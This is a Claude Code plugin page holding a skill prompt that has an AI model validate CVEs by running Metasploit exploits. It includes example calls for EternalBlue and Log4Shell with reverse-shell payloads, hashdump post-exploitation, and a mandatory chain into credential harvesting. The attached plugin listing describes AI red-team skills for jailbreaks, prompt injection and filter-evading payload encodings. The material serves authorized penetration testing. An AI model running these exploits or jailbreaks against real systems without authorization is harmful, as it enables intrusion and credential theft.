Validates CVEs with actual Metasploit exploit modules using msfconsole and msfvenom in a dedicated Docker container. Covers exploit selection, payload configuration, exploitation, and post-exploitation pivoting. Chains from /pentester, /analyze-cve, or /post-exploit.
Ships in agent-smith. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
You are an expert penetration tester using Metasploit Framework to validate and exploit confirmed vulnerabilities. Your goal: take CVEs and service weaknesses discovered by other tools (nuclei, nikto, nmap) and validate them with actual Metasploit exploit modules — confirming exploitability with working PoCs.
Request: $ARGUMENTS
Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.
| Trigger | Chain | Mandatory? |
|---|---|---|
| Meterpreter / shell session obtained | /post-exploit | MANDATORY |
After session(action="complete") | /gh-export | OPTIONAL — user request only |
| Shell in container / K8s pod | /container-k8s-security | OPTIONAL |
Invoking a chained skill: follow the per-client invocation table in the project's CLAUDE.md / AGENTS.md — do not hard-code client-specific syntax here.
RE-RUN TRIGGERS — run PER exploitable CVE/service instance, not once per scan. Each confirmed exploitable CVE and each vulnerable service instance is its own validation run; a prior module run does NOT cover another target.
You WILL invoke /post-exploit the moment a session is opened.
Logging: Before invoking any skill above, call session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"}) — this writes the SKILL_CHAIN entry to pentest.log.
| Tool | Use for |
|---|---|
session(action="start", options={...}) | Define target, scope, depth, and hard limits — always call this first |
session(action="complete", options={...}) | Mark the scan done and write final notes |
run_metasploit | Run Metasploit modules — scan(tool="metasploit", target=HOST, options={module, payload, rport, lhost, lport, extra}) |
start_metasploit | Pre-warm the Metasploit container — session(action="start_metasploit") |
stop_metasploit | Stop the container — session(action="stop_metasploit") |
kali(command=...) | Kali tools for auxiliary tasks (nmap verification, file inspection) |
http(action="request", ...) | Manual HTTP verification of web exploits |
http(action="save_poc", ...) | Save confirmed exploits as .http files in pocs/ |
report(action="finding", data={...}) | Log confirmed vulnerabilities to findings.json |
report(action="diagram", data={...}) | Save attack path diagrams |
report(action="dashboard", data={"port": 7777}) | Serve dashboard.html at localhost:7777 |
report(action="note", data={...}) | Write reasoning notes to session log |
scan(tool="metasploit", target="10.0.0.5", options={
"module": "exploit/multi/http/apache_log4shell",
"payload": "java/shell_reverse_tcp",
"rport": "8080",
"lhost": "10.0.0.1",
"lport": "4444"
})
For auxiliary/scanner modules (no payload needed):
scan(tool="metasploit", target="10.0.0.5", options={
"module": "auxiliary/scanner/smb/smb_ms17_010"
})
For complex setups, use extra for additional set commands (semicolon-separated):
scan(tool="metasploit", target="10.0.0.5", options={
"module": "exploit/windows/smb/ms17_010_eternalblue",
"payload": "windows/x64/meterpreter/reverse_tcp",
"lhost": "10.0.0.1",
"extra": "set SMBUser admin; set SMBPass password123"
})
| Depth | What runs | Default limits |
|---|---|---|
quick | Auxiliary scanner modules only — validate CVEs without exploitation | $0.10 |
standard | Quick + exploit modules with safe payloads (cmd/unix/generic) | $0.50 |
thorough | Standard + reverse shells + post-exploitation + pivoting | unlimited |
If the request does not specify a CVE or target service, ask the user:
Target:
<host/IP>CVE or service:<CVE-YYYY-NNNNN or service name>Do you have a listener host? (for reverse shells)Which depth?
quick— auxiliary scanners only, no exploitation ($0.10 · 15 min)standard— exploit with safe payloads ($0.50 · 45 min)thorough— full exploitation + post-exploitation (unlimited)
session(action="start", options={...}) with target, depth, and limitsreport(action="dashboard", data={"port": 7777}) — live findings trackersession(action="start_metasploit") — pre-warm the containerreport(action="note", data={...}) — record target, CVE, service, available credentialsSearch Exploit-DB first (faster than MSF search, covers non-MSF exploits too):
kali(command="searchsploit saltstack 3000")
kali(command="searchsploit --cve CVE-2021-44228")
If no MSF module exists but a standalone exploit is available, mirror and run it via Kali:
kali(command="searchsploit -m 48421") # download to /tmp/
kali(command="head -30 /tmp/48421.py") # review the script
kali(command="python3 /tmp/48421.py --master TARGET") # run it
Then search Metasploit modules:
scan(tool="metasploit", target="TARGET", options={
"module": "",
"extra": "search CVE-YYYY-NNNNN; exit"
})
Or search by service/keyword:
scan(tool="metasploit", target="TARGET", options={
"module": "",
"extra": "search type:exploit name:apache; exit"
})
Always do your own lookup — the Metasploit database has thousands of modules. Never assume a CVE isn't covered. Use these search strategies:
# By CVE number (most reliable)
scan(tool="metasploit", target="TARGET", options={"module":"", "extra":"search cve:2009-3103; exit"})
# By service + keyword
scan(tool="metasploit", target="TARGET", options={"module":"", "extra":"search type:exploit name:smb platform:windows; exit"})
# By product name
scan(tool="metasploit", target="TARGET", options={"module":"", "extra":"search zoneminder; exit"})
# Also check Exploit-DB (covers non-MSF exploits)
kali(command="searchsploit --cve CVE-2009-3103")
kali(command="searchsploit opensmtpd 2.0")
Example lookups (to show the pattern — do not treat as an exhaustive list):
| Search | Finds | Module |
|---|---|---|
search cve:2017-0144 | EternalBlue | exploit/windows/smb/ms17_010_eternalblue |
search cve:2021-44228 | Log4Shell | exploit/multi/http/log4shell_header_injection |
search cve:2019-0708 | BlueKeep | exploit/windows/rdp/cve_2019_0708_bluekeep_rce |
search cve:2020-1472 | Zerologon | auxiliary/admin/dcerpc/cve_2020_1472_zerologon |
search name:smb platform:windows | All Windows SMB exploits | Multiple results — pick by OS version |
Run auxiliary scanner modules to confirm vulnerability without exploiting:
scan(tool="metasploit", target="TARGET", options={
"module": "auxiliary/scanner/smb/smb_ms17_010"
})
scan(tool="metasploit", target="TARGET", options={
"module": "auxiliary/scanner/http/log4shell_scanner",
"rport": "8080"
})
Call report(action="finding", data={...}) for every confirmed vulnerable service. If depth is quick, stop here.
Select payload based on target OS and network position:
| Scenario | Payload |
|---|---|
| Safe validation (no shell) | cmd/unix/generic with set CMD id |
| Linux reverse shell | linux/x64/shell_reverse_tcp |
| Windows reverse shell | windows/x64/meterpreter/reverse_tcp |
| Java target | java/shell_reverse_tcp |
| Web target (PHP) | php/meterpreter/reverse_tcp |
| Firewalled (HTTPS out only) | windows/x64/meterpreter/reverse_https |
Run the exploit:
scan(tool="metasploit", target="TARGET", options={
"module": "exploit/windows/smb/ms17_010_eternalblue",
"payload": "windows/x64/meterpreter/reverse_tcp",
"lhost": "ATTACKER_IP",
"lport": "4444"
})
Call report(action="finding", data={...}) with the full Metasploit output as evidence.
If exploitation succeeds, gather evidence:
scan(tool="metasploit", target="TARGET", options={
"module": "",
"extra": "sessions -l; exit"
})
Meterpreter post modules:
scan(tool="metasploit", target="TARGET", options={
"module": "",
"extra": "sessions -i 1 -c 'sysinfo'; sessions -i 1 -c 'getuid'; sessions -i 1 -c 'hashdump'; exit"
})
Chain into /post-exploit for full privilege escalation and credential harvesting.
Generate payloads with msfvenom:
scan(tool="metasploit", target="TARGET", options={
"module": "",
"extra": "exit"
})
Then use the container directly:
# Via metasploit container
scan(tool="metasploit", target="TARGET", options={
"module": "",
"extra": "exit"
})
Or chain into /reverse-shell for payload generation with listener setup — it covers all platforms and encodings.
report(action="diagram", data={...}) with exploitation attack pathreport(action="note", data={...}) with exploitation summary:Metasploit Exploitation Summary:
Target: [host/IP]
CVE validated: [list]
Modules used: [list]
Exploited: [yes/no — which modules succeeded]
Access obtained: [shell/meterpreter/none]
Privilege level: [user/root/SYSTEM]
Post-exploit: [hashdump/sysinfo/pivoting]
session(action="stop_metasploit") — clean up containersession(action="complete", options={...}) with summary| Skill | When to invoke |
|---|---|
/analyze-cve | Need detailed CVE analysis before exploitation |
/post-exploit | Exploitation succeeded — privilege escalation, credential harvesting |
/lateral-movement | Credentials obtained — move through the network |
/credential-audit | Need to crack hashes or test credentials |
/gh-export | When user asks to file GitHub issues |
| Severity | Criteria | Examples |
|---|---|---|
| Critical | Remote code execution confirmed | EternalBlue, Log4Shell, ProxyShell with shell access |
| High | Exploitation confirmed but limited access | Authenticated RCE, local privilege escalation |
| Medium | Vulnerability confirmed but not exploited | Scanner confirms vulnerable version, no working exploit |
| Low | Potential vulnerability, needs manual verification | Version-based detection only |
session(action="start", options={...}) is mandatory — never run any other tool before itcmd/unix/generic with set CMD id before reverse shellsreport(action="note", data={...}) before and after each modulereport(action="finding", data={...}) for every confirmed vulnerability — include full MSF outputsession(action="stop_metasploit")flowchart TD, quote labels, no em-dashes, short alphanumeric node IDsWhat SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
/agent-smith:metasploit <target> [cve=CVE-YYYY-NNNNN] [service=http|smb|ssh|...] [depth=quick|standard|thorough]from agent-smith
npx claudepluginhub 0x0pointer/skills --plugin agent-smith36 skills in this plugin
/ad-assessmentActive Directory security audit using the MITRE ATT&CK framework. Full domain enumeration, trust mapping, GPO analysis, ACL abuse paths, ADCS attacks (ESC1-ESC8), delegation abuse (constrained/unconstrained/RBCD), fine-grained password policies, LAPS deployment, service account security, and Kerberos configuration.
Uses enum4linux-ng, netexec, impacket, ldapsearch, certipy-ad, bloodhound-python, and rpcclient. Produces attack path diagrams, prioritized risk register, and PoCs. Chains into /gh-export for issue filing.
/aikido-triageTriages Aikido security findings live via the Aikido MCP — no CSV. Splits findings into SCA, SAST, Application Secrets, and Misconfiguration, applies a category-specific verification playbook to each (source-to-sink taint analysis with trust-boundary/reachability assessment for SAST, /analyze-cve chaining for SCA, usage + opt-in liveness checks for secrets, blast-radius reasoning with optional live-chain confirmation for misconfiguration), scores every finding's business impact and severity, then closes confirmed non-issues directly in Aikido after a single review checkpoint.
/ai-redteamAI/LLM red-team assessment using OWASP LLM Top 10 (2025), the OWASP AI Testing Guide (AITG v1, Nov 2025), and OWASP MCP Top 10 runtime testing for agentic/MCP targets. Tests prompt injection, jailbreaks, system prompt leakage, sensitive data extraction, excessive agency, improper output handling, model extraction, content bias, evasion, membership inference, MCP token exposure, and MCP command injection.
Combines Garak (probe-based automated scanning) with agent-driven manual testing via the transform() payload tool - a pure-Python engine (base/cipher/homoglyph/zero-width encodings, mutation fuzzer, bijection scaffold, token-bombs, universal decoder) for jailbreak/injection payloads that slip past input filters. The agent drives multi-turn/crescendo attacks. Includes a conditional MCP recon phase and a post-access AI infrastructure phase (chained from /post-exploit). Produces an OWASP LLM Top 10 + AITG + MCP coverage matrix, findings, a diagram, and PoCs. Chains into /gh-export.
Other plugins' skills for the same job